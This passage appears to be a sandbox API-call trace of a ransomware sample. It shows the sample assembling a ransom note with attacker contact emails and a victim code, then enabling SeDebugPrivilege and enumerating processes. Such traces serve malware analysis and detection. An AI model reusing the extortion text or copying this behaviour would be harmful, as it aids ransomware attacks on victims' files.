before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail1}") returned="{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0032.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5b3) returned 0x41a520 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail1}") returned 0x0 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419f70) returned 1 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail2}") returned="{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0032.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c6) returned 0x4199c0 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.Galgalgalgalk@tutanota.com\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{mail2}") returned 0x0 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41a520) returned 1 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.Galgalgalgalk@tutanota.com\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{code}") returned="{code}" [0032.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6fe) returned 0x419f90 [0032.096] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.2Hamlampampom@cock.li\r\n2.Galgalgalgalk@tutanota.com\r\n\r\nDon't forget to include your code in the email:\r\n{code_3289ad72_cd46d:\r\nNC61eH4v+F0DqtjeiDcdwBmTj4n0OYJDUAglDukQAex/eTVu5U\r\nYo9MYe2Qp/pgxcwy+ZRqm+X3coRm9DRZKLedPEKLBMSEM0cq2J\r\nMsXY6jRPalWq6x3Lwzkv1sSujTvFawiiKxXGK1s278Tx69z6Mx\r\nigvv7EoLbZ0zFLmuO4lAN1Ze26cCjowm/hYyDUOapOAhPGBNmE\r\nZVv3WCLWjzVHrMZDPn2mu2gq3Rtsymp9M2RsnNT/hMl0corivy\r\njwQU/qidiQi4THlQf9KhdvyFQiwpL+YUc=}", _SubStr="{code}") returned 0x0 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4199c0) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419878) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415450) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408860) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415b10) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408800) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415af8) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415ec0) returned 1 [0032.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416540) returned 1 [0032.096] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xefae4 | out: lpLuid=0xefae4*(LowPart=0x14, HighPart=0)) returned 1 [0032.100] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0xefa6c | out: TokenHandle=0xefa6c*=0x150) returned 0x0 [0032.100] AdjustTokenPrivileges (in: TokenHandle=0x150, DisableAllPrivileges=0, NewState=0xefad4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0032.100] GetLastError () returned 0x0 [0032.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1770) returned 0x422268 [0032.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x10) returned 0x415b58 [0032.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x847f0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0032.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x84700, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0032.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1024) returned 0x4239e0 [0032.102] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.104] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x2048) returned 0x4239e0 [0032.104] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.105] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x306c) returned 0x4239e0 [0032.105] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.105] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x4090) returned 0x4239e0 [0032.105] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.107] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x50b4) returned 0x4239e0 [0032.107] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.108] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x60d8) returned 0x4239e0 [0032.108] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.109] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x70fc) returned 0x4239e0 [0032.109] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.110] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x8120) returned 0x4239e0 [0032.110] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.111] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x9144) returned 0x4239e0 [0032.111] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.112] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0xa168) returned 0x4239e0 [0032.112] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.114] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0xb18c) returned 0x4239e0 [0032.114] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.115] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0xc1b0) returned 0x4239e0 [0032.115] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.117] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0xd1d4) returned 0x4239e0 [0032.117] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.118] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0xe1f8) returned 0x4239e0 [0032.118] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.119] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0xf21c) returned 0x431be0 [0032.120] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x431be0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x431be0, ResultLength=0x0) returned 0xc0000004 [0032.121] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x431be0, Size=0x10240) returned 0x431be0 [0032.121] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x431be0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x431be0, ResultLength=0x0) returned 0xc0000004 [0032.123] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x431be0, Size=0x11264) returned 0x441e28 [0032.123] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x441e28, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x441e28, ResultLength=0x0) returned 0xc0000004 [0032.136] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x441e28, Size=0x12288) returned 0x4239e0 [0032.136] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.137] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x132ac) returned 0x4239e0 [0032.137] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.139] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x142d0) returned 0x4239e0 [0032.139] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.141] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x152f4) returned 0x4239e0 [0032.141] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.143] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x16318) returned 0x4239e0 [0032.143] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.144] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x1733c) returned 0x4239e0 [0032.144] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.146] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x18360) returned 0x4239e0 [0032.146] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.147] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x19384) returned 0x4239e0 [0032.147] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.149] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x1a3a8) returned 0x4239e0 [0032.149] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.151] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x1b3cc) returned 0x4239e0 [0032.151] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.153] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x1c3f0) returned 0x4239e0 [0032.153] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.154] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x1d414) returned 0x4239e0 [0032.154] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0xc0000004 [0032.156] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4239e0, Size=0x1e438) returned 0x4239e0 [0032.156] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4239e0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x4239e0, ResultLength=0x0) returned 0x0 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.158] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, 